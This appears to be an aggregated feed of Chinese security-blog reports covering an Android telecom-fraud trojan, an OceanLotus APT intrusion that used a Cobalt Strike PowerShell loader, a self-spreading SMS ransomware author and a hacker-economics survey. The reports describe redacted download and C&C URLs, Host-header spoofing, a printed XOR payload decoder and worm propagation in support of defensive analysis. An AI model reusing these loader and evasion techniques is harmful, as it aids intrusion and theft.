图2.18 窃取隐私

五、 网络电信诈骗主平台正由PC向移动过渡

在包含Android远控端的这个工具组合中,服务器端没有任何与PC远控端相关的控制部分,仅包含对Android远控端的控制后台,说明诈骗者正在由传统的使用PC木马转向使用Android木马。

通过对比PC场景下控制后台的菜单与移动场景下控制后台的菜单可以更加清楚地观察到这种变化趋势。后者的一级目录中增加了“注册手机资讯”,即受害者手机信息管理,其中包含多种下发远控指令的按钮。


深入分析跨平台网络电信诈骗

图2.19 PC场景和移动场景管理后台对比

第三章 背景信息揭露

一、 制作者信息

代码中的汉字均为繁体,我们据此推测该木马制作团伙习惯使用繁体中文。


深入分析跨平台网络电信诈骗

图3.1 代码中的繁体汉字

二、 诈骗情报体系

为提高诈骗的成功率,诈骗者需要搜集各方面的情报。网络电信诈骗情报体系由三大块组成:诈骗目标相关情报、诈骗手法相关情报以及资金相关情报。诈骗者通过黑市购买、网络搜索、木马回传等手段搜集所有这些情报,然后进行筛选、吸收,最后实施诈骗。


深入分析跨平台网络电信诈骗

图3.2 诈骗情报体系

(一) 诈骗目标相关情报

诈骗者一般从黑市购买大量诈骗目标相关情报,这些情报包括受害者身份证信息、联系电话以及可能获取到的银行账户信息。


深入分析跨平台网络电信诈骗

图3.3 诈骗目标相关情报

(二) 诈骗手法相关情报

诈骗手法即诈骗故事,诈骗者需要编造合理的故事来恐吓受害者,使受害者相信确有其事。诈骗手法中最常见的是冒充公检法、电信、邮政或医保工作人员给受害者打电话,通报其涉及某类案件或问题,进而实施诈骗。所以诈骗者在实施诈骗之前需要充分研究如上案例中的各个方面,具体情报知识体系如下图所示。


深入分析跨平台网络电信诈骗

图3.4 诈骗手法相关情报

(三) 资金相关情报

资金是诈骗者实施诈骗的终极目的,也是诈骗者需要充分研究的对象。诈骗者会对各大主流银行的常见操作进行系统地搜集和学习,一方面为了在诈骗过程中灵活地诱导受害者,另一方面他们会尝试寻找银行体系中可利用的流程上的漏洞。此外,ATM、互联网金融产品相关的基本操作和知识也是诈骗者必须掌握的。频繁地小额取款是诈骗者洗钱的一种常见手法,所以要求诈骗者对ATM转账限额、ATM网络分布有详细的了解。


深入分析跨平台网络电信诈骗

图3.5 资金相关情报

三、 角色划分

网络电信诈骗团伙分工极为明确,从角色上可粗略分为两大类:制马人和诈骗者。制马人负责木马研发,诈骗者负责实施诈骗。

诈骗者包括组织者和其手下不同的“专搞”团队,组织者根据诈骗手法的不同将任务分配给手下不同的“专搞”团队,例如团队A“专搞”经济犯罪,团队B“专搞”邮政,这种划分体系很可能是为了避免在诈骗的过程中出现混乱。

每个“专搞”团队又按任务细分为一线(又称前线)、二线(又称中线)和三线诈骗者。组织者将诈骗任务分拆为三个步骤,分别交给一线、二线和三线的小弟,一线执行完任务后“推给”二线,二线执行完任务后“推给”三线。具体的任务划分可能根据不同的团伙会有所差异。


深入分析跨平台网络电信诈骗

图3.6 角色划分

四、 小结

诈骗者为躲避公安部门的追踪,一般选择跨境远程拨打诈骗电话,这也是制马人和诈骗者基本都来自境外的原因;由于诈骗者都是境外人员,他们对中国大陆的银行体系、公检法体系等知之甚少,所以需要搜集大量相关情报进行研究。

第四章 相关风险分析

一、 财产和隐私安全

网络电信诈骗对用户最直接的威胁就是隐私和财产损失。

二、 滥用第三方SDK

JPush和Apache Cordova被滥用,一方面表明恶意软件开发者没有遵守合法的软件开发守则,利用合法的第三方SDK开发恶意软件;另一方面也体现了提供开放接口的第三方厂商对于注册开发者的资质审核不够严格,导致信誉低下的开发者使用其提供的SDK接入服务。

(一) 滥用JPush


深入分析跨平台网络电信诈骗

图4.1 木马中引入的JPush包

(二) 滥用Apache Cordova


深入分析跨平台网络电信诈骗

图4.2 木马中引入的Cordova包

三、 篡改第三方工具

PC远控端通过篡改TeamViewer而来,看起来像正规的公安部“网上安全检控软件”,从而能够诱导用户安装。这种篡改第三方工具的行为侵犯了工具所有者的合法权益,违背了工具开发者的原始意图。


深入分析跨平台网络电信诈骗

图4.3 TeamViewer与PC远控端

四、 系统安全

木马接收服务器下发的特定指令后,可以将用户手机恢复出厂设置,并且恢复出厂设置时,系统会在不发出警告的情况下清除用户手机上的数据,从而实现远程数据自毁。这种远程数据自毁行为严重破坏了用户终端系统的完整性。


深入分析跨平台网络电信诈骗

图4.4 激活设备管理器具备清除所有数据的能力

五、 资源信誉

使用Google搜索“账户自清系统”第二条即展示伪“中华人民共和国公安部”网站,这种虚假网站污染搜索引擎资源,破坏了搜索引擎资源的信誉度。


深入分析跨平台网络电信诈骗

图4.5 Google搜索账户自清系统

六、 残余风险

随着远控木马的进化,针对移动终端的远控木马有长期留存用户手机的可能。攻击过后,用户的隐私信息可能再次流入地下黑市,给用户造成长期的不良影响。

第五章 Android木马的“跨界”攻击趋势

此款专用于网络电信诈骗的Android木马,并非Android木马第一次“跨界”传统犯罪产业。Android木马“跨界”传统犯罪产业已经变得越来越常见,如Android勒索软件、Android色情软件以及Android刷流量软件等。

一、 Android木马“跨界”电信诈骗

360 移动安全团队于2016年3月捕获到第一个专用于网络电信诈骗的Android木马,这意味着Android木马已经进入电信诈骗领域。

二、 Android木马“跨界”勒索敲诈

2014年5月Android平台首次出现勒索软件[7],此后Android勒索软件作者对用户的敲诈从未中断。 2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。2015年国内用户因Android勒索软件遭受的损失达到345万元,2016年第一季度国内用户因Android勒索软件遭受的损失接近90万[8]。

三、 Android木马“跨界”色情产业

色情播放器已成为Android木马最常见的传播媒介,舞毒蛾[9]、百脑虫[10]等木马均是以色情播放器为媒介进行传播。 色情播放器本身会借助恶意广告进行传播,如道有道恶意广告[11],该广告推广色情软件的行为曾被3.15曝光。

四、 Android木马“跨界”流量作弊产业

流量僵尸木马[12]是Android木马“跨界”流量作弊产业最为典型的案例,此类木马在用户每次滑动解锁手机屏幕时都会在后台进行一次静默刷流量操作,若手机安全软件未对此类木马进行查杀,则仅我们发现的44万余部被感染的手机,每天就会为木马所指向的导航网站和搜索引擎刷掉约6683万次的虚假请求量,约可占国内最大搜索引擎日均搜索请求量的68%。

附录:参考文献

[1]电信诈骗的定义

http://baike.so.com/doc/6012547-6225534.html

[2] 冒充最高检网络电信诈骗之追溯

http://bobao.360.cn/learning/detail/2851.html

[3]Apache Cordova官网

http://cordova.apache.org/

[4]Cordova简介

http://baike.so.com/doc/6950873-7173274.html

[5]极光推送官网

https://www.jpush.cn/

[6]极光推送简介

http://baike.so.com/doc/7101178-7324169.html

[7]Police Locker land on Android Devices

http://malware.dontneedcoffee.com/2014/05/police-locker-available-for-your.html

[8]Android勒索软件研究报告

http://blogs.360.cn/360mobile/2016/04/12/analysis_of_mobile_ransomware/

[9] “舞毒蛾”木马演变报告

http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/

[10] “百脑虫”手机病毒分析报告

http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/

[11] “道有道”的对抗之路

http://blogs.360.cn/360mobile/2016/03/24/analysis_of_daoyoudao/

[12] 流量僵尸木马及流量黑产分析报告

http://blogs.360.cn/360mobile/2015/08/27/analysis_of_flowzombie/

本文转载自 360移动安全团队
原文链接:http://blogs.360.cn/360mobile/2016/05/16/telecommunications_fraud_network/

海莲花重出水面,追日团队再次追击

$
0
0
海莲花重出水面,追日团队再次追击

2016-05-17 15:46:30
来源:360安全播报 作者:360天眼安全实验室

阅读:820次
点赞(0)
收藏



分享到:








一个新近真实攻击案例的分析

引子

人在做,天在看。

2015年5月底360天眼实验室发布了海莲花APT组织的报告,揭露了一系列长期对我国的关键部门进行针对性攻击窃取机密数据的攻击活动。

相关的报告:https://ti.360.com/upload/report/file/OceanLotusReport.pdf

其实,我们知道对于APT团伙如果不从人员这个根本点上解决问题,那么公开的揭露只是促使其采用的新攻击方式的缓解措施而已,过不多久就会改头换面卷土重来。从天眼实验室跟踪的多个APT团伙及其活动来看,从未有什么团伙在被揭露以后而全面停止活动的,从未。正如传统情报领域的谍战对抗,网络空间只是另外开辟的一个新战场,对抗永远都会存在,强度也会一再增强。

发布报告一年左右的今天,我们还在持续监测着海莲花团伙的活动,最近的大网数据显示在4月份就发生了数百例新的感染,威胁并没有出现缓解的迹象,本篇会通过介绍一个真实的案例来展现相关的细节。

案例

这是一个观察到的真实海莲花新近攻击活动,360的天眼威胁感知与天擎终端安全产品使我们能够对网络和主机上发生的事情做集中化的关联分析,让完整攻击活动的来龙去脉做准实时的感知和展现成为了可能。

初始进入

小王是一个供职于某个敏感机构的员工,他的工作有部分内容涉及对外的联络,于是他的电子邮箱地址被公布在单位对外的网站上。

2016年4月的某一天,他从邮箱里收到一个好像来自上级的邮件,内容很简略,涉及所在单位的审核计划。当然,如我们所知的鱼叉邮件攻击那样,邮件还带了一个文件名为“2016年度上级及内部审核计划.rar”的附件。

不奇怪的,像大多数不太小心的员工那样,小王点击附件打开了RAR文件,里面有个名为“关于发布《2016年度上级及内部审核计划》的通知.exe”的Word程序图标的文件(应该叫程序)。这时,攻击行动到达了关键点,小王如果有点安全意识,知道来历不明的EXE文件不可乱点,那攻击就到此为止了。可惜小王没有丝毫戒心地点击了,以下的事情在电脑后台发生了,而受害者小王对此一无所知。

程序其实就是OceanLotus Encryptor的一个简单变化版本,执行以后行为与天眼实验室在去年发布报告后有同学做的样本分析基本一致,详细分析可以参考CodeSec上的文章:

技术剖析:海莲花OceanLotus Encryptor样本分析

http://www.CodeSec.Net/articles/system/69356.html

总之,经过层层解密程序最终连接外部的C&C服务器,从此服务器获取了进一步的指令:从一个服务器下载执行某个模块以获取进一步的控制。

具体的操作:

伪装成QQ程序的qq.exe进程从 hxxp://***.***.***.***/images/logo.png 下载一个看起来是PNG图片的文件。

文件名:logo.png

下载回来打开就会发现这其实是一个Powershell脚本,其主要工作就是把内置的Shellcode加载到内存中执行:


海莲花重出水面,追日团队再次追击

var_code中数据Base64解码以后根据经验可以断定是Shellcode:


海莲花重出水面,追日团队再次追击

最前面0x34字节的Shellcode负责解密0x34偏移后的数据:


海莲花重出水面,追日团队再次追击

从数据的0x34偏移开始为加密段,数据的结构为:

struct CodeData

{

DWORD dwInitXorCode; //初始密钥

DWORD dwLength; //紧跟在后面的恶意代码加密后的长度(解密是和dwInitXorCode异或)

Byte* bData;//编码的恶意代码的内容

}


海莲花重出水面,追日团队再次追击

解密后确认数据构成一个PE文件,如下代码为解密算法:

void Decode()

{

DWORD dwFirst = 0;

DWORD dwSecond = 0;

memcpy((void*)&dwFirst, data+0x34, 4);

memcpy((void*)&dwSecond, data+0x38, 4);

DWORD dwLength = dwSecond ^ dwFirst;

DWORD dwXorCode = dwFirst;

unsigned char* szNewBuffer = new unsigned char[dwLength];

memset(szNewBuffer, 0, dwLength);

for (int i = 0; i<dwLength; i+=4)

{

DWORD dwBuffer = 0;

memcpy((void*)&dwBuffer, data+0x38+4+i, 4);

DWORD dwNewBuffer = 0;

dwNewBuffer = dwBuffer^dwXorCode;

dwXorCode = dwXorCode^dwNewBuffer;

memcpy(szNewBuffer+i, (void*)&dwNewBuffer, 4); //szNewBuffer为解密后的数据

}

}

解密后的文件是DLL模块:


海莲花重出水面,追日团队再次追击

DLL文件的导出模块名为beacon_dll.dll:


海莲花重出水面,追日团队再次追击

通过对该DLL的分析发现,入口处会把0x1002e040处的数据通过和0x69异或解密,数据长度为1552字节;如图:


海莲花重出水面,追日团队再次追击

解密后可以看到配置信息,里面包含进行通信的C&C地址、Url、UserAgent和亚马逊的域名(为了填充远控协议的HTTP头的host字段)等配置信息:


海莲花重出水面,追日团队再次追击

抓包发现木马在进行HTTP隧道通信的时候还耍了点小花招,在请求的Host字段填了知名站点的网址,传输的内容经过编码后放到Cookies字段里,试图混淆视听绕过监测,而伪装的host就是在配置信息里;如图:


海莲花重出水面,追日团队再次追击

数据包的HTTP头的Host字段为www.amazon.com,而连接的IP地址为***.***.***.***,该IP为木马的C&C地址,Host字段填的为知名网站,如图:


海莲花重出水面,追日团队再次追击

而***.***.***.***这个IP从来就没有绑定过域名www.amazon.com。

渗透工具

分析到这儿对现在泛滥成灾的基于Powershell的攻击框架熟悉的同学可能已经看出来了,这个攻击荷载就是大名鼎鼎的商业渗透工具Cobalt Strike生成的,去年友商也发现过海莲花团伙使用Cobalt Strike框架进行APT攻击。

不管如何,我们的小王点击执行了那个诱饵程序,他的电脑已经默默地连接到了海莲花团伙的控制端,对方看到的操作界面应该是这样的:


海莲花重出水面,追日团队再次追击

框架支持木马数据交互走HTTP、HTTPS、DNS和SMB隧道协议,当前攻击所用到的beacon.dll就支持beacon_http、beacon_dns、beacon_https和beacon_smb这些监听方式:


海莲花重出水面,追日团队再次追击

框架支持多种类型的攻击荷载生成:


海莲花重出水面,追日团队再次追击

由于能够轻松绕过现有的病毒查杀工具,基于Powershell的后门木马大受欢迎,Cobalt Strike的PayLoad Generator功能就支持这个选项:


海莲花重出水面,追日团队再次追击

攻击框架生成的payload.ps1脚本与我们在这回的攻击中看到的logo.png文件大小存在很大差距:


海莲花重出水面,追日团队再次追击

区别就在var_code变量的内容:


海莲花重出水面,追日团队再次追击

框架产出的payload.ps1脚本中Shellcode功能比较简单,从中可以提取出下载的url地址为:http://***.*.*.***:808/vQEV,从该网址下载下个阶段的Shellcode执行,如图:


海莲花重出水面,追日团队再次追击

下载回来的数据大小为186KB:


海莲花重出水面,追日团队再次追击

下载回来的代码除了后面的加密后的数据段不一样,Shellcode和海莲花组织的Shellcode的代码是一样的,如图为攻击框架下载下来的vQEV模块的解密代码:


海莲花重出水面,追日团队再次追击

而海莲花的这个名为logo.png的Powershell脚本则直接把需要下载回来的这块代码嵌入到var_code变量中直接执行而不是从网上下载,虽然增大了文件,但减少了由于网络和服务的问题导致的失败。

横向移动

控制了小王的电脑,在单位里建立了立足点,海莲花团伙开始使用Cobalt Strike在内网里横向移动。Cobalt Strike框架不仅用来构造初始入侵的Payload投递工具,在获取内网节点的控制以后自动化地扫描发现内网系统各类漏洞及配置问题加以利用以扩大战果,比如我们看到控制者往小王的机器上传了用于扫描SMB服务工具nbtscan.exe,然后立即运行起来对内网执行扫描。

一天以后,内网中的另外几台机器被攻陷,因为受感染机器发出了对外的C&C的连接。其中包括了一台内网办公用服务器,接着我们又看到了非常熟悉的手法:服务器中的两个重要可执行文件被绑上了木马程序同时提供假的Flash升级包并在用户访问的时候提示下载,这样就把服务器变成了水坑。

以后的几天,我们陆续发现内网中其他几台客户端通过访问这个服务器系统下载执行木马而被感染,因为网络中的天眼系统看到了其对外发出的C&C连接。在安装了天擎终端安全产品的客户端在执行下载回来的木马时,虽然做了免杀处理,但基于天眼网络层的威胁情报联动,天擎的终端检测与防御(EDR)机制则会立即对恶意代码做查杀,使攻击者完成的初始控制马上失效。

总结起来,对于我们观察到的这次攻击,整体的过程情况可以用如下的图来表示:


海莲花重出水面,追日团队再次追击

TTP

从360天眼实验室对大网感染情况的监测,自从去年被我们公开揭露出来以后,只在其后的小一段时间有所沉寂,在确认没有进一步人身威胁以后,海莲花团伙的活动依旧猖獗,甚至超过以往。

随着基于天眼天擎产品在用户环境中部署量的增加,我们看到越来越多的实际攻击案例,网络与终端结合的数据赋予我们的Visibility让我们对海莲花团伙的TTP(Tool、Technique、Procedure)有了更贴近的观察和分析。总体来看,攻击手法上并没有什么变化,但是可以看到的是,由于Powershell天生的有效性,APT团伙(或者黑客组织)对其越来越青睐,正如上面的案例所分析的,从初始入侵payload的构建,到后续内网横向移动等一系列行为中,powershell都被积极地使用,而事实也证明了这样的手段非常有效。

以下是海莲花团伙在Lockheed Martin Cyber Kill Chain各环节上特征描述:

攻击阶段

特性描述

侦察跟踪

关注目标(主要是政府和海事相关)网站,尝试入侵,收集相关的电子邮箱

武器构建

使用多种现成的技术生成绑定木马诱饵程序,当前采用Powershell的Payload非常普遍

载荷投递

入侵网站构建水坑、发送定向鱼叉邮件

突防利用

利用似乎工作相关的内容进行社工诱导点击执行诱饵程序

安装植入

下载第二阶段Shellcode完成控制,以计划任务方式达成持久化

通信控制

之前使用自有实现的通信协议,当前较多地使用商业化攻击框架Cobalt Strike

达成目标

使用Cobalt Strike进行集成化的自动渗透,不太在乎隐秘性,只要有可能进一步创建更多水坑

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2875.html

勒索软件正成为制马人的新方向

$
0
0
勒索软件正成为制马人的新方向

2016-05-17 15:37:50
来源:360移动安全团队 作者:360安全卫士

阅读:425次
点赞(0)
收藏



分享到:









勒索软件正成为制马人的新方向

2016年5月13日

目 录

引言.. 1

第一章木马分析.. 2

一、木马样本分析.. 2

二、短信链接分析.. 3

第二章制马人分析.. 7

一、制马人行为分析.. 7

二、制马人信息.. 13

第三章影响与趋势.. 15

一、关联样本.. 15

二、收益情况.. 15

三、裂变式传播.. 16

四、交叉式传播.. 17

附录一:参考资料.. 18

引言

4月份360 移动安全团队发布的《Android勒索软件研究报告》详细揭露了目前国内Android勒索软件黑色产业链情况。其中,报告中指出国内勒索软件传播方式主要借助QQ群、受害者、贴吧和网盘。另外,报告也指出国内勒索软件的制作门槛低,制作人群呈现年轻化等特点。

我们在最近的研究分析中发现,勒索软件的恶意行为出现了新的变化趋势,开始出现交叉式传播。勒索软件通过遍历手机通讯录,向联系人群发带有恶意下载链接的短信的方式进行恶意软件的传播。传播的对象不仅是恶意软件自身,还有其他家族木马,如:专门通过窃取手机支付验证码及其它用户手机重要隐私信息,以达到洗劫用户资金目的的FakeTaobao[1]木马家族。 据我们所知,借助短信方式传播的Android木马家族SpamSoldier[2]最早出现在2012年12月,在2014年8月全国范围内爆发的“XX神器”事件[3]中被媒体和网民广泛的关注。目前为止,FakeTaobao木马家族是使用这种裂变式传播方式最活跃的木马家族。

我们通过恶意软件中制马人留下的信息,回溯了其长达半年之久的制马活动后发现,勒索软件传播出现的裂变式传播和交叉传播新趋势,正是由于制马人制马类型不再单一,正在变得多元化,而勒索软件正在成为制马人制马的新方向。

第一章木马分析

一、木马样本分析

经过我们对最新捕获的勒索软件的分析,该木马的运行流程如下图所示:


勒索软件正成为制马人的新方向

图1.1 木马运行流程

木马具体执行步骤:

1.木马运行后,启动恶意服务binge。

2.服务启动后,向手机号151****3857发送安装报活短信,短信内容“报告斌哥,软件已安装,已授权”。

3.遍历手机通讯录向手机中所有联系人发送带有恶意下载链接的短信,短信内容“{联系人姓名},我帮别人做宣传。点击链接并下载并安装http://pre.im/****flaw,一定要下载安装哦,不下载安装对不起我哟!”。

4.构造并展现锁屏悬浮窗页面,不响应触摸事件。

5.隐藏自身图标。

我们在分析中发现,样本中涉及到敏感的字符串全部进行了DES加密处理。


勒索软件正成为制马人的新方向

图1.2 木马遍历联系人群发短信的代码片段


勒索软件正成为制马人的新方向

图1.3密文与明文对应关系

二、短信链接分析

短信中的链接指向http://pre.im/****flaw,Pre.im是一个免费的内测分发、应用托管工具网站,可以用于软件BUG测试和兼容性测试。制马人利用这种第三方网站提供的下载功能,上传恶意样本进行传播。


勒索软件正成为制马人的新方向

图1.4 Pre.im官网介绍

通过浏览器打开短信中的链接显示一个名为“秒赞神器”软件。实际上,经过分析这个“秒赞神器”软件是一个典型的设置PIN码类型的勒索软件,软件运行后会在用户不知情的情况下强制设置手机解锁PIN码,造成用户无法进入手机桌面。


勒索软件正成为制马人的新方向

图1.5 木马下载页面

在“秒赞神器”申请激活设备管理器页面上,制马人留下了自己的QQ联系方式。


勒索软件正成为制马人的新方向

图1.6 木马申请设备管理器页面

同时,在木马签名信息中也发现了同样的QQ号码。


勒索软件正成为制马人的新方向

图1.7 木马签名信息

第二章制马人分析

一、制马人行为分析

我们通过恶意软件中制马人留下手机号和QQ信息,将其制作的恶意样本与我们捕获到的时间进行关联,回溯了制马人长达半年之久的制马活动。


勒索软件正成为制马人的新方向

勒索软件正成为制马人的新方向

勒索软件正成为制马人的新方向

图2.1 制马人半年的制马活动轨迹

从捕获时间看,包含制马人联系方式的恶意样本首次出现在2015年11月3日,软件名称为“system”。


勒索软件正成为制马人的新方向

图2.2 “system”恶意软件代码片段

15年11月3日到12月25日:制马人制马活动很少,偶尔制作几个名称为“system”、“卡钻”、“移动激活卡钻”等恶意软件。值得注意的是,新年前后期间正是广大网民抢红包的高峰期,在新年的前一周,12月24日制马人制作了一款名为“抢红包外挂”的恶意软件。从十一月到十二月期间制作的这些恶意软件都属于FakeTaobao木马家族。

16年1月1日:2016年新年伊始,制马人依然没有停下制马的脚步,元旦这天制马人开始尝试制作勒索软件测试Demo程序。


勒索软件正成为制马人的新方向

图2.3 勒索软件测试Demo程序

1月10日:制马人又开始转向制作钓鱼软件,制作了一个用于窃取QQ账号和密码的钓鱼软件测试Demo程序。


勒索软件正成为制马人的新方向

图2.4 钓鱼软件正在发送QQ账号密码信息

1月12日:制马人通过篡改正常软件,制作了一款全屏不响应触摸事件的形式的勒索软件。从这个样本可以看出制马人从测试阶段逐步开始制作正式的勒索软件。


勒索软件正成为制马人的新方向

图2.5 正常软件(图左)和被篡改后的软件(图右)对比

从制马人一月的活动可以看出,一月制马人开始活跃起来。不但制作了像“相册”、“移动积分”、“双倍抢红包(秒抢)”这类FakeTaobao木马家族恶意样本,还制作了钓鱼和勒索软件。

2月4日:与一月相比,二月制马人活动明显减少。制马人在2月4日制作的勒索软件中,加入了所谓的“免杀”手段,通过构造了异常的ZIP包结构,造成分析工具解压时报错,来对抗常见的分析工具分析。


勒索软件正成为制马人的新方向

图2.6 异常的ZIP包结构

2月5日到2月22日:制马人一直保持静默,没有制作任何恶意软件。这段时间恰逢中国农历腊月二十七到正月十五。

2月25日:制马人开始制作新型的勒索软件,新型勒索软件主要是将勒索软件以子包的形式隐藏在另一个软件中,后者安装运行后会通过一些文字提示诱导用户授予Root权限,同时将前者安装到手机系统软件目录中,这种锁机方式被制马人称为“Root锁”。


勒索软件正成为制马人的新方向

图2.7 执行拷贝到系统软件目录的shell命令

3月1日:从制马人活动频率看,三月是制马人近半年内制马最为活跃的月份。在3月1日,制马人制作了名为“QQ百宝箱”的恶意软件。


勒索软件正成为制马人的新方向

图2.8 QQ百宝箱安装图标

该恶意软件不仅会在用户不知情的情况下强制设置手机解锁PIN码,造成用户无法进入手机桌面。而且,还会诱导用户输入QQ账号和密码进行钓鱼。


勒索软件正成为制马人的新方向

图2.9 窃取QQ账号密码信息代码片段

另外,值得关注的是,我们发现“QQ百宝箱”恶意软件加入了遍历手机通讯录群发短信的功能,开始进行自我传播。“QQ百宝箱”恶意软件与我们最新捕获的恶意软件,除了短信内容没有进行加密处理外,从代码结构上看,前者与后者几乎完全一样,我们认为这应该是后者的早期版本。


勒索软件正成为制马人的新方向

图2.10 “QQ百宝箱”遍历通讯录群发短信代码片段

3月19日:从3月19日开始在连续一周多的时间里,制马人每天都在制作恶意软件,甚至出现了一天内制作多个恶意软件。


勒索软件正成为制马人的新方向

图2.11 制马人同一天制作的三个恶意软件

四月制马人活动频率有所下降,同时,我们发现在四月制马人制作的恶意软件全部是勒索软件。

我们通过回溯和分析制马人在近六个月里制马活动的频率和制马类型可以看出制马人行为有以下特点:

1.制马人在2015年年底并不活跃,而且制作方向单一,仅仅制作FakeTaobao木马家族恶意样本;

2.在2016年1月制马人尝试制作勒索和钓鱼软件,制作方向开始发生转变,制作了一批测试Demo程序;

3.在二月制马人开始增加恶意样本对抗分析手段并且加强了勒索软件恶意功能;

4.在三月制马人增加了恶意软件传播方式,开始群发短信进行裂变式传播。同时,制马人活动频率也到达高峰。

5.在四月制马人将已有代码进行加密保护,增加了不同类型恶意软件间的交叉式传播方式。

6.制马人前三个月与后三月的制马类型对比,制马人制马方向从FakeTaobao木马家族逐渐转向勒索软件,勒索软件受到了制马人的“青睐”。

二、制马人信息

我们通过查询恶意软件中制马人留下的QQ信息,这个QQ号码指向一个信息显示仅有15岁的少年。并且发现这个人是QQ群“AIDE – Android lockphone”的群主,该群目前有超过200人。此人群名片显示“赞我十赞截图,送root锁”,所谓的Root锁,就是制马人在二月制作的利用Root的勒索软件恶意样本。


勒索软件正成为制马人的新方向

图2.12 QQ号码查询信息

另外,此人的QQ个性签名历史中曾经出现“flaw的人生”,“flaw”这个词出现在群发的短信链接中,根据这些信息,我们认为此人与制马人为同一人。


勒索软件正成为制马人的新方向

图2.13 制马人历史个性签名信息

第三章影响与趋势

一、关联样本

我们通过已知的信息,关联出其他有相似行为的勒索软件。这些勒索软件群发的短信链接,主要借助的是网盘和第三方网站进行传播。


勒索软件正成为制马人的新方向

图3.1 关联样本中的短信内容与链接归属

从链接传播的对象看,链接传播的恶意软件不仅是勒索软件自身,还发现了其他恶意木马家族,例如FakeTaobao木马家族。


勒索软件正成为制马人的新方向

图3.2勒索软件传播的FakeTaobao木马家族

二、收益情况

经过我们调查,制马人制马方向转变,制马多元化的原因,归根结蒂还是与钱有关。我们从一个制马人的聊天中得知,制马人主要制作“拦截马”即FakeTaobao木马家族,月收益相当可观在1.3万元左右,同时制马人也在制作勒索软件,每月能够多带来1500元收益。


勒索软件正成为制马人的新方向

图3.3制马人的聊天对话内容

制马人“青睐”勒索软件的原因,一方面勒索软件制作门槛低,制马方向的多元化会给制马人带来额外的一份收益;另一方面,与FakeTaobao木马家族洗劫用户资金财产相比,勒索软件每次勒索的数额并不大,相对制马人来说制马风险也较小。


三、裂变式传播

我们发现制马人擅长使用群发带有恶意下载的短信的方式进行恶意软件传播,受害人点击短信中的网址链接下载安装后,手机会被植入恶意软件,该软件会遍历受害人手机中的通讯录,并继续向获取到的通讯录名单发送同样的恶意链接短信,以此来获得裂变式的传播速度。这种传播方式利用熟人间的信任关系,加之文字诱导,传播感染成功率极强。


四、交叉式传播

制马人制马类型的多元化,也带来了移动平台传播的新趋势。制马人将不同类型的恶意软件进行交叉式传播,在给制马人带来不同收益来源外,同时,也给用户带来了更多的安全威胁。一旦用户中招,木马会形成攻击链条,用户损失会出现叠加,同时,对于手机防护软件也提出了更高的要求。

附录一:参考资料

[1] FakeTaobao家族变种演变

http://blogs.360.cn/360mobile/2014/09/16/analysis_of_faketaobao_family/

[2]Android Trojan Used To Create Simple SMS Spam Botnet

http://blog.cloudmark.com/2012/12/16/android-trojan-used-to-create-simple-sms-spam-botnet/

[3]XX神器

http://baike.so.com/doc/7486655-7756521.html

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2874.html

请问你是黑客的菜吗?有效防范黑客入侵的绝招

$
0
0

在大多数人看来,这也许只是网络世界中一群拥有高超电脑技术的专业人士代名词;或者,很多人印象中的黑客,就如同电影《黑客帝国》中展现的那样出神入化。Palo AltoNetworks日前发布了一项由其赞助的调查结果,这份调查揭露了神秘黑客的收入、攻击花费的时间,通过了解黑客这一群体告诉我们通过什么方式可以有效防范黑客的入侵。

请问你是黑客的菜吗?有效防范黑客入侵的绝招

一、网络攻击者是机会主义者,只会舍难取易

72%的受访者表示如果不能再短时间内回去高价收信息他们则会放弃攻击。

大部份(73%)受访者表示他们喜欢攻击容易且成本低廉的目标。

二、时间是网络攻击者的敌人

攻击所需要的时间只要增加两天左右(40小时),便可减少高达60%的攻击。

平均来说,一个技术娴熟的黑客如果花一个星期左右(209小时)还未达到目的,便会转移到其它目标。

三、收入丰厚只是个传说

一般黑客靠恶意攻击来赚钱一年平均的收益少于3万美元,只相当于一般网络安全专业人员年薪的四分之一。

四、强大的安全系统可以增加实施攻击的时间

一个技术娴熟的网络攻击者对付一个“一流”的IT安全设施,比一个“典型”的IT安全设施,需要增加一倍的时间(147小时对70小时)来策划并实施攻击。

72%的受访者表示面对拥有强大防御能力的组织机构,他们会停止攻击。

什么方式可以有效防范黑客的入侵

1、使自己成为“难攻击”的目标

采用以入侵防御为主的安全系统,而非被动的侦测及事件响应方式,可增加黑客攻击难度,加长攻击所需时间从而使黑客放弃攻击。

2、投资下一代技术

老的单点安全产品已阻挡不住黑客。采用下一代安全技术可以自动化防御活动,不只依靠单一签名或静态防御是对付现今复杂网络威胁的最佳方法。

3、开启网络可视化并提升操控智能

一个以防御为主的安全系统有赖于全面整合的技术,包括:下一代防火墙、网络情报以及威胁信息分享。相对于一堆毫无关联的单点产品,整合方案将有助防御者更清楚地掌握网络内部的情况。

请问你是黑客的菜吗?有效防范黑客入侵的绝招

以上就是本文的全部内容,希望对大家了解黑客世界有所帮助。


网警叔叔讲那些年经历过的奇葩DDoS案例

$
0
0
网警叔叔说,最近听说有人用微信红包赌博,不是红包接龙,是真赌博。网警叔叔不明白了,红包最大不就 200,这怎么赌博?
后来才知道,赌博赌的是微信红包随机数的后两位。
网警叔叔还说,花呗也被不少人玩儿坏了。盗取支付宝账户后提升信用,再恶意盗取资金。
网警叔叔讲那些年经历过的奇葩DDoS案例
江苏省公安厅网安总队科长童瀛在乌云 2015 白帽子大会上以 DDoS 为题演讲
新型网络犯罪、新的应用方法层出不穷,「当网警这 5 年,太挑战了」。
于是网警叔叔回忆起了这些年经历过的奇葩 DDoS 攻击案例,哭笑不得都是泪。

先扫盲,DDoS 是啥

DDoS 又叫分布式拒绝服务 (DDoS:Distributed Denial of Service) 攻击,指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发起攻击,从而成倍地提高拒绝服务攻击的威力。

网警叔叔讲那些年经历过的奇葩DDoS案例

DDoS 原理图,来自网络

形象点儿说就是虽然硬件已经有了大幅提升,但主机的处理能力是有限的。黑客通过网络控制大量「肉鸡」对目标主机一起发送并没有实际作用的数据包,从而导致正常访问该页面的用户无法打开页面甚至主机崩溃。
白帽子是屑于这种没什么技术含量的技俩,因为 DDoS 属于站在外面踹门的流氓行为,根本连人家的门都进不去。但谁也架不住一场 DDoS 攻击,毕竟网站宕机的几个小时,就是竞争对手超越自己的绝佳机会。

